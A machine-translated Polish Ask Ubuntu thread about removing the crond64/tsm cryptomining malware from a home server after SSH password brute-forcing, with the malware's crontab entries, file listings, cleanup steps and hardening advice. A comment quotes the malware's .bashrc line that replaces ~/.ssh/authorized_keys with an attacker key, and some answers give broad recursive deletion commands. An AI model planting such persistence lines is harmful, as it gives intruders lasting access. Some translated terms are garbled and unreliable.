wirus crond64 / tsm w Ubuntu

14

Ostatnio zauważyłem, że mój serwer domowy jest boleśnie powolny. Wszystkie zasoby zostały pochłonięte przez dwa procesy: crond64i tsm. Mimo że wielokrotnie ich zabijałem, wciąż się pojawiały.

Jednocześnie mój dostawca usług internetowych powiadomił mnie o nadużyciu pochodzącym z mojego adresu IP:

==================== Excerpt from log for 178.22.105.xxx====================
Note: Local timezone is +0100 (CET)
Jan 28 20:55:44 shared06 sshd[26722]: Invalid user admin from 178.22.105.xxx
Jan 28 20:55:44 shared06 sshd[26722]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=178.22.105.xxx
Jan 28 20:55:45 shared06 sshd[26722]: Failed password for invalid user admin from 178.22.105.xxx port 33532 ssh2
Jan 28 20:55:46 shared06 sshd[26722]: Received disconnect from 178.22.105.xxx port 33532:11: Bye Bye [preauth]
Jan 28 20:55:46 shared06 sshd[26722]: Disconnected from 178.22.105.xxx port 33532 [preauth]
Jan 28 21:12:05 shared06 sshd[30920]: Invalid user odm from 178.22.105.xxx
Jan 28 21:12:05 shared06 sshd[30920]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=178.22.105.xxx
Jan 28 21:12:07 shared06 sshd[30920]: Failed password for invalid user odm from 178.22.105.xxx port 45114 ssh2
Jan 28 21:12:07 shared06 sshd[30920]: Received disconnect from 178.22.105.xxx port 45114:11: Bye Bye [preauth]
Jan 28 21:12:07 shared06 sshd[30920]: Disconnected from 178.22.105.xxx port 45114 [preauth]

Byłem z końcówkami o tej stronie, że mogę mieć wirusa. Uruchomiłem Sophos AV, skanując cały dysk twardy i rzeczywiście znalazł wirusa /tmp/.mountfs/.rsync. Więc usunąłem cały folder i pomyślałem, że to jest to. Ale potem wracało. Następnie sprawdziłem plik cron użytkownika /var/spool/cron/crontabs/kodi(wirus działał przy użyciu użytkownika mojego serwera mediów kodi), który wyglądał tak:

# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (cron.d installed on Sun Feb  3 21:52:03 2019)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
* */12 * * * /home/kodi/.ttp/a/upd>/dev/null 2>&1
@reboot /home/kodi/.ttp/a/upd>/dev/null 2>&1
5 8 * * 0 /home/kodi/.ttp/b/sync>/dev/null 2>&1
@reboot /home/kodi/.ttp/b/sync>/dev/null 2>&1
#5 1 * * * /tmp/.mountfs/.rsync/c/aptitude>/dev/null 2>&1

Wygląda na to, że wirus reaktywuje się co jakiś czas z innego katalogu. Zawartość tego katalogu to:

>>> ls /home/kodi/.ttp/*
/home/kodi/.ttp/cron.d  /home/kodi/.ttp/dir2.dir

/home/kodi/.ttp/a:
a  bash.pid  config.txt  crond32  crond64  cronda  crondb  dir.dir  pools.txt  run  stop  upd

/home/kodi/.ttp/b:
a  dir.dir  rsync  run  stop  sync

/home/kodi/.ttp/c:
aptitude  dir.dir  go  ip  lib  n  p  run  slow  start  stop  tsm  tsm32  tsm64  v  watchdog

Usunąłem wszystkie te pliki i wpisy w crontab i mam nadzieję, że dzięki temu problem został rozwiązany. Byłbym jednak zainteresowany tym, co to był wirus, jak go złapałem (może być podłączony do Kodi) i co mogę zrobić, aby temu zapobiec. Na szczęście był uruchamiany tylko przez użytkownika z ograniczonymi prawami, ale irytujący był nadal.


EDYTOWAĆ

Chociaż pozornie usunąłem wszystkie pozostałości tego wirusa (usunąłem również cały folder tmp), wirus wciąż wracał. Uświadomiłem sobie, że istnieje wpis ~/.ssh/authorized_hosts, którego na pewno nie umieściłem. To wyjaśnia, w jaki sposób wirus może być wielokrotnie przesadzany. Usunąłem wpis, wyłączyłem logowanie dla tego użytkownika, wylogowałem hasło (tylko hasło) i korzystam teraz z niestandardowego portu.

Zauważyłem też wielokrotne próby logowania na moim serwerze losowymi nazwami użytkowników, prawdopodobnie przez jakiegoś bota (dziennik wyglądał zadziwiająco podobnie do tego uruchomionego z mojego adresu IP, wysłanego do mnie przez mojego dostawcę usług internetowych). Myślę, że w ten sposób mój komputer został zainfekowany.

erik
źródło
4
Pamiętaj, że jeśli zostałeś zhakowany już raz, są szanse, że na dysku znajdują się inne rzeczy, które są zainfekowane lub naruszone. Prawdopodobnie powinieneś zdmuchnąć system i go odbudować. Wirusy bardzo rzadko atakują tylko jedną aplikację i zwykle rozprzestrzeniają się na dysku.
Thomas Ward
Zgadzam się! jeśli ktoś dostanie się do twojego systemu, wyczyść system i przywróć kopię zapasową systemu
Rinzwind
Jasne, to byłoby bezpieczne rozwiązanie. Ale właśnie przeinstalowałem ten system i nie chciałem go ponownie instalować bez zrozumienia, co się stało. Kopiowanie plików mogło zacząć się od nowa i po prostu zmarnowałbym swój czas.
erik
Najprawdopodobniej twój system został naruszony, dlatego wirus ciągle się infekuje. Chciałbym nuke systemu i zacząć od nowa.
Thomas Ward
1
Znalazłem również infekcję w pliku .bashrc użytkownika: cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB... ...VKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod 700 .ssh && cd .ssh && chmod 600 authorized_keys && cd ~. Zrobiłem to, cp /etc/skel/.bashrc /home/mycompromiseduser/aby go usunąć.
Let'sjump

Odpowiedzi:

6

Miałem to samo. Usługa zainstalowała rsync i otrzymała trochę plików. Znalazłem dota.tar.gzplik w folderze użytkownika.

  1. odmawiaj portu 22 wychodzącemu w zaporze ogniowej (np. ufw deny out 22)
  2. pkill -KILL -u kodi (to zabija wszystkie uruchomione procesy użytkownika kodi)
  3. deluser kodi
  4. usuń dom użytkownika
  5. usuń rsync (nie użyłem tego)
  6. usunąć /tmp/.mountfs*

Pamiętaj, że to prawdopodobnie zniszczy kodi. Zamiast usuwania całego domu użytkownika prawdopodobnie możesz tylko usunąć dota.tar.gz(jeśli jest) i .ttpfolder (nie zapomnij wyczyścić crontab!)

Po ponownym uruchomieniu nie widzę już żadnych połączeń wychodzących (sprawdź za pomocą:

netstat -peanut | grep 22

Infekcja nastąpiła przez użytkownika ze słabym hasłem (może konto kodi z domyślnym hasłem?)

Sjors Nijhuis
źródło
1

Miałem to samo złośliwe oprogramowanie. Wpis został dokonany za pomocą niezapisanego hasła użytkownika przez ssh (port inny niż domyślny), został wykryty i usunięty po około 24 godzinach.

W moim przypadku, usuwanie crontab użytkownika, rm -rdf /tmp/.*, rm -rdf /home/user/.*, killall -u userbyło za mało.

finał
źródło
1

Miałem to dzisiaj. Sprawdziłem system i stwierdziłem, że mój system ma ślady przez około miesiąc i nie zdawałem sobie sprawy, że to było, dopóki mój dostawca usług internetowych mnie nie powiadomił.

Szkodliwe oprogramowanie pochodzi od niepewnego użytkownika ze słabym hasłem. W moim przypadku był to użytkownik timemachine. Dziennik penetracji wyglądał tak.

98341:Dec 23 23:45:36 fileserver sshd[23179]: Accepted password for timemachine from 46.101.149.19 port 45573 ssh2

Jest to górnik XMRIG i exploit, który skanuje inne adresy IP w poszukiwaniu tych samych słabych punktów. Tak więc jedna maszyna może zainfekować kaskadowo dziesiątki innych. Możesz zajrzeć do raportu MS na temat tego cyberataku .

Najskuteczniejszą ochroną przed tego rodzaju atakami jest instalacja fail2banna serwerze, ograniczenie dostępu ssh ufwi użycie białej listy ACL dla systemów, które mają dostęp do SSH na twoim serwerze.

Roman Savrulin
źródło
0

W moim przypadku źródłem infekcji był użytkownik, który nie zmienia swojego niebezpiecznego hasła od czasu, gdy utworzyłem jego konto (oczywiście, że mu kazałem). Mój serwer prawdopodobnie znajduje się na niektórych listach: dostaję około 1000 banów tygodniowo z fail2ban (spróbuj 4 razy z niewłaściwym użytkownikiem lub hasłem i zostań zablokowany na miesiąc)

Sjors Nijhuis
źródło
0

To jest moje rozwiązanie (nazywane także złośliwym oprogramowaniem wydobywającym crypo):

  1. pkill zadania crontab
  2. wyczyść wszystko, co wskazuje na to zadanie crontab, np .: /home/xxx/.ttp/a/upd>/dev/null 2> & 1
  3. usuń /tmp/.xxx/.rsync/c/aptitude>/dev/null 2> & 1
  4. najważniejsze (zajmie mi to długą drogę, aby się tam dostać), w przeciwnym razie będzie wracać: uruchom crontab -e (dla tego użytkownika) znajdziesz powyżej zadanie crontab jest tam, usuń je wszystkie, zapisz.
  5. zmień numer portu.
Jack Ma
źródło